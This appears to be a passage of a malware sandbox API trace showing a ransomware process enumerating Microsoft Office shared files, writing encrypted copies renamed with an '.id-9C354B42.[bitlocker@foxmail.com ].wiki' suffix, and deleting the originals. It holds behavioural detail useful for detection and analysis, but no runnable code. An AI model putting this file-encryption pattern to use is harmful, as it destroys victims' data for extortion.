[0046.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0046.613] lstrlenW (lpString=".jpg") returned 4 [0046.613] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0046.613] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.613] lstrlenW (lpString="base_ca.xml") returned 11 [0046.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.926] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3166) returned 1 [0046.927] CloseHandle (hObject=0x198) returned 1 [0046.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0046.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.927] lstrlenW (lpString=".doc") returned 4 [0046.927] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.927] lstrlenW (lpString=".docx") returned 5 [0046.927] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0046.927] lstrlenW (lpString=".pdf") returned 4 [0046.927] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.927] lstrlenW (lpString=".xls") returned 4 [0046.927] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.927] lstrlenW (lpString=".xlsx") returned 5 [0046.927] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0046.927] lstrlenW (lpString=".ppt") returned 4 [0046.927] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.927] lstrlenW (lpString=".zip") returned 4 [0046.927] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.927] lstrlenW (lpString=".rar") returned 4 [0046.928] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString=".bz2") returned 4 [0046.928] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString=".7z") returned 3 [0046.928] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.928] lstrlenW (lpString=".dbf") returned 4 [0046.928] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.928] lstrlenW (lpString=".1cd") returned 4 [0046.928] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.928] lstrlenW (lpString=".jpg") returned 4 [0046.928] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.928] lstrlenW (lpString=".doc") returned 4 [0046.928] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString=".docx") returned 5 [0046.928] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0046.928] lstrlenW (lpString=".pdf") returned 4 [0046.928] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString=".xls") returned 4 [0046.928] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString=".xlsx") returned 5 [0046.928] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0046.928] lstrlenW (lpString=".ppt") returned 4 [0046.928] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.928] lstrlenW (lpString=".zip") returned 4 [0046.928] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.928] lstrlenW (lpString=".rar") returned 4 [0046.928] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.928] lstrlenW (lpString=".bz2") returned 4 [0046.929] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.929] lstrlenW (lpString=".7z") returned 3 [0046.929] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.929] lstrlenW (lpString=".dbf") returned 4 [0046.929] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.929] lstrlenW (lpString=".1cd") returned 4 [0046.929] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0046.929] lstrlenW (lpString=".jpg") returned 4 [0046.929] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.929] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.929] lstrlenW (lpString="base_heb.xml") returned 12 [0046.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0047.167] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=738) returned 1 [0047.167] CloseHandle (hObject=0x1bc) returned 1 [0047.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0047.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.167] lstrlenW (lpString=".doc") returned 4 [0047.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString=".docx") returned 5 [0047.168] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0047.168] lstrlenW (lpString=".pdf") returned 4 [0047.168] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString=".xls") returned 4 [0047.168] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString=".xlsx") returned 5 [0047.168] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0047.168] lstrlenW (lpString=".ppt") returned 4 [0047.168] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.168] lstrlenW (lpString=".zip") returned 4 [0047.168] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.168] lstrlenW (lpString=".rar") returned 4 [0047.168] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString=".bz2") returned 4 [0047.168] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString=".7z") returned 3 [0047.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.168] lstrlenW (lpString=".dbf") returned 4 [0047.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.168] lstrlenW (lpString=".1cd") returned 4 [0047.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.168] lstrlenW (lpString=".jpg") returned 4 [0047.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.168] lstrlenW (lpString=".doc") returned 4 [0047.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.168] lstrlenW (lpString=".docx") returned 5 [0047.168] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0047.168] lstrlenW (lpString=".pdf") returned 4 [0047.169] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.169] lstrlenW (lpString=".xls") returned 4 [0047.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.169] lstrlenW (lpString=".xlsx") returned 5 [0047.169] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0047.169] lstrlenW (lpString=".ppt") returned 4 [0047.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.169] lstrlenW (lpString=".zip") returned 4 [0047.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.169] lstrlenW (lpString=".rar") returned 4 [0047.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.169] lstrlenW (lpString=".bz2") returned 4 [0047.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.169] lstrlenW (lpString=".7z") returned 3 [0047.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.169] lstrlenW (lpString=".dbf") returned 4 [0047.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.169] lstrlenW (lpString=".1cd") returned 4 [0047.169] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0047.169] lstrlenW (lpString=".jpg") returned 4 [0047.169] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.169] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.169] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0047.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.381] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=819) returned 1 [0047.381] CloseHandle (hObject=0x1ec) returned 1 [0047.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0047.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.389] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.389] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.397] GetLastError () returned 0x0 [0047.403] ReadFile (in: hFile=0x1ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x333, lpOverlapped=0x0) returned 1 [0047.414] WriteFile (in: hFile=0x1f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x340, lpOverlapped=0x0) returned 1 [0047.417] ReadFile (in: hFile=0x1ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.417] WriteFile (in: hFile=0x1f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0047.417] SetEndOfFile (hFile=0x1f0) returned 1 [0047.417] CloseHandle (hObject=0x1f0) returned 1 [0047.418] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.418] SetEndOfFile (hFile=0x1ec) returned 1 [0047.419] CloseHandle (hObject=0x1ec) returned 1 [0047.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0047.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.419] lstrlenW (lpString=".doc") returned 4 [0047.419] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.419] lstrlenW (lpString=".docx") returned 5 [0047.419] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0047.419] lstrlenW (lpString=".pdf") returned 4 [0047.419] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.419] lstrlenW (lpString=".xls") returned 4 [0047.419] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.419] lstrlenW (lpString=".xlsx") returned 5 [0047.419] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0047.419] lstrlenW (lpString=".ppt") returned 4 [0047.419] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.420] lstrlenW (lpString=".zip") returned 4 [0047.420] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.420] lstrlenW (lpString=".rar") returned 4 [0047.420] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.420] lstrlenW (lpString=".bz2") returned 4 [0047.420] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.420] lstrlenW (lpString=".7z") returned 3 [0047.420] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.420] lstrlenW (lpString=".dbf") returned 4 [0047.420] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.422] lstrlenW (lpString=".1cd") returned 4 [0047.422] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.422] lstrlenW (lpString=".jpg") returned 4 [0047.422] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.422] lstrlenW (lpString=".doc") returned 4 [0047.422] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.422] lstrlenW (lpString=".docx") returned 5 [0047.422] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0047.422] lstrlenW (lpString=".pdf") returned 4 [0047.422] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.422] lstrlenW (lpString=".xls") returned 4 [0047.422] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.422] lstrlenW (lpString=".xlsx") returned 5 [0047.423] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0047.423] lstrlenW (lpString=".ppt") returned 4 [0047.423] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.423] lstrlenW (lpString=".zip") returned 4 [0047.423] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.423] lstrlenW (lpString=".rar") returned 4 [0047.423] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.423] lstrlenW (lpString=".bz2") returned 4 [0047.423] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.423] lstrlenW (lpString=".7z") returned 3 [0047.423] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.423] lstrlenW (lpString=".dbf") returned 4 [0047.423] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.423] lstrlenW (lpString=".1cd") returned 4 [0047.423] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0047.423] lstrlenW (lpString=".jpg") returned 4 [0047.423] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.423] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0047.423] lstrlenW (lpString="SETUP.XML") returned 9 [0047.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.433] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1452) returned 1 [0047.433] CloseHandle (hObject=0x1ec) returned 1 [0047.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0047.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.433] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.433] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.433] GetLastError () returned 0x0 [0047.433] ReadFile (in: hFile=0x1ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0047.439] WriteFile (in: hFile=0x1f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0047.441] ReadFile (in: hFile=0x1ec, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.441] WriteFile (in: hFile=0x1f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.441] SetEndOfFile (hFile=0x1f0) returned 1 [0047.441] CloseHandle (hObject=0x1f0) returned 1 [0047.441] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.441] SetEndOfFile (hFile=0x1ec) returned 1 [0047.442] CloseHandle (hObject=0x1ec) returned 1 [0047.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0047.442] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0047.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 